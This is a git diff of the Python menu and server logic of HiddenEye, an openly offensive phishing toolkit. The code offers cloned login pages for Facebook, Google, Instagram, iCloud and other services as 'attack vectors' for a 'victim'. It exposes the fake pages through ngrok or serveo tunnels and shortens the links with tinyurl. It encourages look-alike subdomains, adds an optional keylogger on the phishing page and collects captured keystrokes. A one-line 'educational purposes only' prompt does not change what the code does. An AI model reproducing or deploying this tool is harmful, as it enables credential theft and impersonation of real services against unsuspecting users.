diff --git a/Defs/Actions.py b/Defs/Actions.py index bbdfe45..a056c8f 100644 --- a/Defs/Actions.py +++ b/Defs/Actions.py @@ -11,7 +11,7 @@ from sys import stdout, argv, exit from Defs.Configurations import readConfig, ifSettingsNotExists from Defs.Languages import * -RED, WHITE, CYAN, GREEN, DEFAULT = '\033[91m', '\033[46m', '\033[36m', '\033[1;32m', '\033[0m' +RED, WHITE, CYAN, GREEN, DEFAULT = '\033[91m', '\033[46m', '\033[36m', '\033[1;32m', '\033[0m' installGetText() languageSelector() @@ -24,7 +24,6 @@ for arg in argv: if arg=="--nolog": #If true - don't log didBackground = False if config.get("Settings", "DidBackground") == "True": - system('touch log.txt && chmod 777 log.txt') logFile = open("log.txt", "w") def runPhishing(page , customOption): #Phishing pages selection menu @@ -77,12 +76,21 @@ def runPhishing(page , customOption): #Phishing pages selection menu copy_tree("WebPages/VK_poll_method/", "Server/www/") def selectServer(): #Question where user must select server - print(_("\n {0}Please select any available server:{1}").format(RED, DEFAULT)) - print(_("\n {0}[{1}1{0}]{1} Ngrok\n {0}[{1}2{0}]{1} Serveo").format(RED, DEFAULT)) - - choice = input(" \n {0}HiddenEye >>> {1}".format(RED, DEFAULT)) + system('clear') + print(_(''' + {1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1} + |__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1} + | | | ]__| ]__| |__ | \| {0}|__ || |__{1} + {0}http://github.com/darksecdevelopers + {0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ HOST SERVER SELECTION ]{1}!! {0}\n-------------------------------''').format(RED, DEFAULT)) + print(_("\n {0}[{1}!{0}]{0}SERVEO IS MORE ADVANCED THAN NGROK.\n {0}[{1}!{0}]{0}STILL ITS YOUR CHOICE{1}").format(RED, DEFAULT)) + print(_("\n {0}[{1}*{0}]{0}Select Any Available Server:{1}").format(RED, DEFAULT)) + print(_("\n {0}[{1}1{0}]{1}Ngrok\n {0}[{1}2{0}]{1}Serveo").format(RED, DEFAULT)) + choice = input(" \n{0}HiddenEye >>> {1}".format(RED, DEFAULT)) + system('clear') if choice == '1': + runNgrok() elif choice == '2': runServeo() @@ -98,15 +106,26 @@ def runNgrok(): url = urlFile.read() urlFile.close() if re.match("https://[0-9a-z]*\.ngrok.io", url) != None: - print("\n {0}[{1}*{0}]{1} Ngrok URL: {2}".format(RED, DEFAULT, GREEN) + url + "{1}".format(RED, DEFAULT, GREEN)) + print(''' + {1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1} + |__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1} + | | | ]__| ]__| |__ | \| {0}|__ || |__{1} + {0}http://github.com/darksecdevelopers + {0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ ATTACK IS IN PROGRESS ]{1}!! {0}\n-------------------------------\n\n\n {0}[{1}*{0}]{1} Ngrok URL: {2}'''.format(RED, DEFAULT, GREEN) + url + '''{1}'''.format(RED, DEFAULT, GREEN)) link = check_output("curl -s 'http://tinyurl.com/api-create.php?url='"+url, shell=True).decode().replace('http', 'https') - print("\n {0}[{1}*{0}]{1} TINYURL: {2}".format(RED, DEFAULT, GREEN) + link + "{1}".format(RED, DEFAULT, GREEN)) - print("\n") + print('''\n {0}[{1}*{0}]{1} TINYURL: {2}'''.format(RED, DEFAULT, GREEN) + link + '''{1}'''.format(RED, DEFAULT, GREEN)) + print('''\n''') break def runServeo(): - print(_("\n {0}[ YOU CAN MAKE A TRICKY URL LIKE ] \n (http ://instagram.Login.Security.verification.serveo[.]net) \n\n\n {0}Insert a custom subdomain for serveo").format(RED, DEFAULT)) - lnk = input(_("\n {0}CUSTOM Subdomain>>> {1}").format(RED, DEFAULT)) + + print(_(''' + {1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1} + |__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1} + | | | ]__| ]__| |__ | \| {0}|__ || |__{1} + {0}http://github.com/darksecdevelopers + {0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ CREATE A CUSTOM URL HERE ]{1}!! {0}\n-------------------------------\n\n\n\n{0}[{1}!{0}]{1}[ YOU CAN MAKE YOUR URL SIMILAR TO AUTHENTIC URL's ]\n{0}[{1}!{0}]{1}Again ? Use Your Social-engineering Skills Here.\n\n\n{0}Insert a custom subdomain for serveo''').format(RED, DEFAULT)) + lnk = input(_("\n{0}CUSTOM Subdomain>>> {1}").format(RED, DEFAULT)) if not ".serveo.net" in lnk: lnk += ".serveo.net" else: @@ -116,12 +135,12 @@ def runServeo(): try: output = check_output("grep -o '.\{0,0\}http.\{0,100\}' link.url",shell=True) url = str(output).strip("b ' \ n r") - print("\n {0}[{1}*{0}]{1} SERVEO URL: {2}".format(RED, DEFAULT, GREEN) + url + "{1}".format(RED, DEFAULT, GREEN)) + print("\n{0}[{1}*{0}]{1} SERVEO URL: {2}".format(RED, DEFAULT, GREEN) + url + "{1}".format(RED, DEFAULT, GREEN)) print("\n") data = urlopen("http://tinyurl.com/api-create.php?url="+url) url = data.read() link = url.decode('utf-8') - print("\n {0}[{1}*{0}]{1} TINYURL: {2}".format(RED, DEFAULT, GREEN) + link + "{1}".format(RED, DEFAULT, GREEN)) + print("\n{0}[{1}*{0}]{1} TINYURL: {2}".format(RED, DEFAULT, GREEN) + link + "{1}".format(RED, DEFAULT, GREEN)) print("\n") except CalledProcessError: print (_('''{1} @@ -131,8 +150,29 @@ def runServeo(): {0}[{1}!{0}]{1} Network error. Verify your connection.\n ''').format(RED, DEFAULT)) exit(0) + def runMainMenu(): #menu where user select what they wanna use + + if 256 != system('which php'): #Checking if user have PHP + print (" -----------------------".format(CYAN, DEFAULT)) + print (_("[PHP INSTALLATION FOUND]").format(CYAN, DEFAULT)) + print (" -----------------------".format(CYAN, DEFAULT)) + else: + print (_(" --{0}>{1} PHP NOT FOUND: \n {0}*{1} Please install PHP and run me again.http://www.php.net/").format(CYAN, DEFAULT)) + exit(0) + + for i in range(101): + sleep(0.05) + stdout.write("\r") + stdout.write(_("{0}[{1}*{0}]{1} HiddenEye is Opening. Please Wait...{2}%").format(RED, DEFAULT, i)) + stdout.flush() + + if input(_("\n{2}[{1}!{2}]{1} Do you agree to use this tool for educational purposes only? ({2}y{1}/{0}n{1})\n{2}HiddenEye >>> {1}").format(CYAN, DEFAULT, RED)).upper() != 'Y': #Question where user must accept education purposes + system('clear') + print (_('\n\n[ {0}YOU ARE NOT AUTHORIZED TO USE THIS TOOL.YOU CAN ONLY USE IT FOR EDUCATIONAL PURPOSE. GOOD BYE!{1} ]\n\n').format(RED, DEFAULT)) + exit(0) + system('clear') print (_(''' @@ -153,76 +193,41 @@ def runMainMenu(): #menu where user select what they wanna use ''').format(GREEN, DEFAULT, CYAN, RED)) - - - if 256 != system('which php'): #Checking if user have PHP - print (" -----------------------".format(CYAN, DEFAULT)) - print (_("[PHP INSTALLATION FOUND]").format(CYAN, DEFAULT)) - print (" -----------------------".format(CYAN, DEFAULT)) - else: - print (_(" --{0}>{1} PHP NOT FOUND: \n {0}*{1} Please install PHP and run me again.http://www.php.net/").format(CYAN, DEFAULT)) - exit(0) - - for i in range(101): - sleep(0.05) - stdout.write("\r") - stdout.write(_("{0}[{1}*{0}]{1} HiddenEye is Opening. Please Wait...{2}%").format(RED, DEFAULT, i)) - stdout.flush() - - if input(_("\n{2}[{1}!{2}]{1} Do you agree to use this tool for educational purposes only? ({2}y{1}/{0}n{1})\n{2}HiddenEye >>> {1}").format(CYAN, DEFAULT, RED)).upper() != 'Y': #Question where user must accept education purposes - system('clear') - print (_('\n\n[ {0}YOU ARE NOT AUTHORIZED TO USE THIS TOOL.YOU CAN ONLY USE IT FOR EDUCATIONAL PURPOSE. GOOD BYE!{1} ]\n\n').format(RED, DEFAULT)) - exit(0) - system('clear') - print (_(''' - {3}______________________________________________ - ______________________________________ - - {1}_....~~~~=====~~~~...._ - .'========={3}/{2}_____{3}==\{1}=========> - /:========={3}/{2}_____{3}====\{1} - |=========={3}|{2}_____{3}======|{1}==========> - \:========={3}\{2}___{3}======/{1} - \=========={3}\=====/{1}==========> - ````~~~~=======~~~~```` - - {3}HIDDEN EYE {3}BY: DARKSEC TEAM - {3} ______________________________________ - _______________________________________________''').format(CYAN, DEFAULT, CYAN, RED)) - option = input(_("\nSELECT ANY ATTACK VECTOR FOR YOUR VICTIM:\n {0}[{1}01{0}]{1} Facebook\n {0}[{1}02{0}]{1} Google\n {0}[{1}03{0}]{1} LinkedIn\n {0}[{1}04{0}]{1} GitHub\n {0}[{1}05{0}]{1} StackOverflow\n {0}[{1}06{0}]{1} WordPress\n {0}[{1}07{0}]{1} Twitter\n {0}[{1}08{0}]{1} Instagram\n {0}[{1}09{0}]{1} Snapchat\n {0}[{1}10{0}]{1} Yahoo\n {0}[{1}11{0}]{1} Twitch\n {0}[{1}12{0}]{1} Microsoft\n {0}[{1}13{0}]{1} Steam\n {0}[{1}14{0}]{1} VK\n {0}[{1}15{0}]{1} iCloud\n\n{0}HiddenEye >>> {1}").format(RED, CYAN)) - if option == '1' or option == '01': + + option = input(_("*************************\nSELECT ANY ATTACK VECTOR FOR YOUR VICTIM:\n*************************\n {0}[{1}1{0}]{1} Facebook\n {0}[{1}2{0}]{1} Google\n {0}[{1}3{0}]{1} LinkedIn\n {0}[{1}4{0}]{1} GitHub\n {0}[{1}5{0}]{1} StackOverflow\n {0}[{1}6{0}]{1} WordPress\n {0}[{1}7{0}]{1} Twitter\n {0}[{1}8{0}]{1} Instagram\n {0}[{1}9{0}]{1} Snapchat\n {0}[{1}10{0}]{1} Yahoo\n {0}[{1}11{0}]{1} Twitch\n {0}[{1}12{0}]{1} Microsoft\n {0}[{1}13{0}]{1} Steam\n {0}[{1}14{0}]{1} VK\n {0}[{1}15{0}]{1} iCloud\n{0}HiddenEye >>> {1}").format(RED, DEFAULT)) + if option == '1': loadModule('Facebook') - customOption = input(_("\nOperation mode:\n\n {0}[{1}1{0}]{1} Standard Page Phishing\n\n {0}[{1}2{0}]{1} Advanced Phishing-Poll Ranking Method(Poll_mode/login_with)\n\n {0}[{1}3{0}]{1} Facebook Phishing- Fake Security issue(security_mode) \n\n {0}[{1}4{0}]{1} Facebook Phising-Messenger Credentials(messenger_mode) \n\n{0}HiddenEye >>> {1}").format(RED, CYAN)) + customOption = input(_("\nOperation mode:\n\n {0}[{1}1{0}]{1} Standard Page Phishing\n\n {0}[{1}2{0}]{1} Advanced Phishing-Poll Ranking Method(Poll_mode/login_with)\n\n {0}[{1}3{0}]{1} Facebook Phishing- Fake Security issue(security_mode) \n\n {0}[{1}4{0}]{1} Facebook Phising-Messenger Credentials(messenger_mode) \n\n{0}HiddenEye >>> {1}").format(RED, DEFAULT)) runPhishing('Facebook', customOption) - elif option == '2' or option == '02': + elif option == '2': loadModule('Google') - customOption = input(_("\nOperation mode:\n\n {0}[{1}1{0}]{1} Standard Page Phishing\n\n {0}[{1}2{0}]{1} Advanced Phishing(poll_mode/login_with)\n\n {0}[{1}3{0}]{1} New Google Web\n\n{0}HiddenEye >>> {1}").format(RED, CYAN)) + customOption = input(_("\nOperation mode:\n\n {0}[{1}1{0}]{1} Standard Page Phishing\n\n {0}[{1}2{0}]{1} Advanced Phishing(poll_mode/login_with)\n\n {0}[{1}3{0}]{1} New Google Web\n\n{0}HiddenEye >>> {1}").format(RED, DEFAULT)) runPhishing('Google', customOption) - elif option == '3' or option == '03': + elif option == '3': loadModule('LinkedIn') customOption = '' runPhishing('LinkedIn', customOption) - elif option == '4' or option == '04': + elif option == '4': loadModule('GitHub') customOption = '' runPhishing('GitHub', customOption) - elif option == '5' or option == '05': + elif option == '5': loadModule('StackOverflow') customOption = '' runPhishing('StackOverflow', customOption) - elif option == '6' or option == '06': + elif option == '6': loadModule('WordPress') customOption = '' runPhishing('WordPress', customOption) - elif option == '7' or option == '07': + elif option == '7': loadModule('Twitter') customOption = '' runPhishing('Twitter', customOption) - elif option == '8' or option == '08': + elif option == '8': loadModule('Instagram') - customOption = input(_("\nOperation mode:\n\n {0}[{1}1{0}]{1} Standard Instagram Web Page Phishing\n\n {0}[{1}2{0}]{1} Instagram Autoliker Phising (After submit redirects to original autoliker)\n\n {0}[{1}3{0}]{1} Instagram Advanced Scenario (Appears as Instagram Profile)\n\n{0}HiddenEye >>> {1}").format(RED, CYAN)) + customOption = input(_("\nOperation mode:\n\n {0}[{1}1{0}]{1} Standard Instagram Web Page Phishing\n\n {0}[{1}2{0}]{1} Instagram Autoliker Phising (After submit redirects to original autoliker)\n\n {0}[{1}3{0}]{1} Instagram Advanced Scenario (Appears as Instagram Profile)\n\n{0}HiddenEye >>> {1}").format(RED, DEFAULT)) runPhishing('Instagram', customOption) - elif option == '9' or option == '09': + elif option == '9': loadModule('Snapchat') customOption = '' runPhishing('Snapchat', customOption) @@ -244,7 +249,7 @@ def runMainMenu(): #menu where user select what they wanna use runPhishing('Steam', customOption) elif option == '14': loadModule('VK') - customOption = input(_("\nOperation mode:\n\n {0}[{1}1{0}]{1} Standard VK Web Page Phishing\n\n {0}[{1}2{0}]{1} Advanced Phishing(poll_mode/login_with)\n\n{0}HiddenEye >>> {1}").format(RED, CYAN)) + customOption = input(_("\nOperation mode:\n\n {0}[{1}1{0}]{1} Standard VK Web Page Phishing\n\n {0}[{1}2{0}]{1} Advanced Phishing(poll_mode/login_with)\n\n{0}HiddenEye >>> {1}").format(RED, DEFAULT)) runPhishing('VK', customOption) elif option == '15': loadModule('iCloud') @@ -255,13 +260,20 @@ def runMainMenu(): #menu where user select what they wanna use def loadModule(module): #This one just show text.. print (_(''' {0} - [{1}*{0}] module loaded. Building site...{0}''').format(RED, DEFAULT)) + [{1}*{0}] module loaded. Building site...{0}\n--------------------------------''').format(RED, DEFAULT)) def inputCustom(): #Question where user can input custom web-link - print(_("\n (Choose Wisely As Your Victim Will Redirect to This Link)").format(RED, DEFAULT)) - print(_("\n (Leave Blank To Loop The Phishing Page)").format(RED, DEFAULT)) - print(_("\n {0}Insert a custom redirect url:").format(RED, DEFAULT)) - custom = input(_("\n {0}CUSTOM URL>>> {1}").format(RED, DEFAULT)) + system('clear') + print(_(''' + {1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1} + |__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1} + | | | ]__| ]__| |__ | \| {0}|__ || |__{1} + {0}http://github.com/darksecdevelopers + {0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ PUT YOUR REDIRECTING URL HERE ]{1}!! {0}\n-------------------------------''').format(RED, DEFAULT)) + print(_('''\n{1}**{0}(Choose Wisely As Your Victim Will Redirect to This Link)''').format(RED, DEFAULT)) + print(_('''\n{1}**{0}(Leave Blank To Loop The Phishing Page)''').format(RED, DEFAULT)) + print(_('''\n{0}[{1}*{0}]{0}Insert a custom redirect url:''').format(RED, DEFAULT)) + custom = input(_('''\n{0}REDIRECT HERE>>> {1}''').format(RED, DEFAULT)) if 'http://' in custom or 'https://' in custom: pass else: @@ -286,23 +298,57 @@ def inputCustom(): #Question where user can input custom web-link f = open('Server/www/login.php', 'w') f.write(c) f.close() +def keyloggerprompt(): + system('clear') + print (_('''{1} + _ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1} + |__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1} + | | | ]__| ]__| |__ | \| {0}|__ || |__{1} + {0}http://github.com/darksecdevelopers + {0}** BY:DARKSEC ** +''').format(RED, DEFAULT)) + print(_("-------------------------------\n{0}[ KEYLOGGER PROMPT ]{1}!! {0}\n-------------------------------").format(RED, DEFAULT)) +def addingkeylogger(): + custom = input(_("\n{1}Do you want to Deploy a Keylogger against Victim{0}(Y/N) \n\n{0}YOUR CHOICE (Y/N) >>> {1}").format(RED, DEFAULT)) + if 'Y' in custom or 'y' in custom: + with open('Server/www/index.html') as f: + read_data = f.read() + c = read_data.replace('', '') + f = open('Server/www/index.html', 'w') + f.write(c) + f.close() + print(_("\n-------------------------------\n{0}Keylogger Added {1}Successfully.\n-------------------------------").format(RED, DEFAULT)) + + sleep(0.03) + else: + with open('Server/www/index.html') as f: + read_data = f.read() + c = read_data.replace('', '') + f = open('Server/www/index.html', 'w') + f.write(c) + f.close() + + + + def runServer(): system("cd Server/www/ && php -S 127.0.0.1:1111 > /dev/null 2>&1 &") def endMessage(): #Message when HiddenEye exit system('clear') print (_(''' - {1}_....~~~~=====~~~~...._ - .'========={3}/{2}_____{3}==\{1}=========> - /:========={3}/{2}_____{3}====\{1} - |=========={3}|{2}_____{3}======|{1}==========> - \:========={3}\{2}___{3}======/{1} + {1}_....~~~~=====~~~~...._ + .'========={3}/----=\{1}=========> + /:========={3}/-----====\{1} + |=========={3}|-----======|{1}==========> + \:========={3}\---======/{1} \=========={3}\=====/{1}==========> ````~~~~=======~~~~```` + {3}HIDDEN EYE {3}BY: DARKSEC TEAM - {0}THANKS FOR USING IT. HELP US TO MAKE IT MORE USEFUL - {3}https://github.com/DarkSecDevelopers/HiddenEye ''').format(GREEN, DEFAULT, CYAN, RED)) + {0}THANKS FOR USING IT.IF YOU LIKE IT THEN, HELP US WE NEED MORE SUPPORT. + {3}https://github.com/DarkSecDevelopers/HiddenEye ''').format(GREEN, DEFAULT, CYAN, RED)) def getCredentials(): @@ -348,10 +394,10 @@ def getCredentials(): with open('Server/www/KeyloggerData.txt') as creds: lines = creds.read().rstrip() if len(lines) != 0: - writeLog('______________________________________________________________________'.format(RED, DEFAULT)) + writeLog('_______________________________'.format(RED, DEFAULT)) writeLog(_(' {0}[ GETTING PRESSED KEYS ]{1}:\n {0}%s{1}').format(GREEN, DEFAULT) % lines) system('rm -rf Server/www/KeyloggerData.txt && touch Server/www/KeyloggerData.txt') - writeLog('______________________________________________________________________'.format(RED, DEFAULT)) + writeLog('_______________________________'.format(RED, DEFAULT)) creds.close()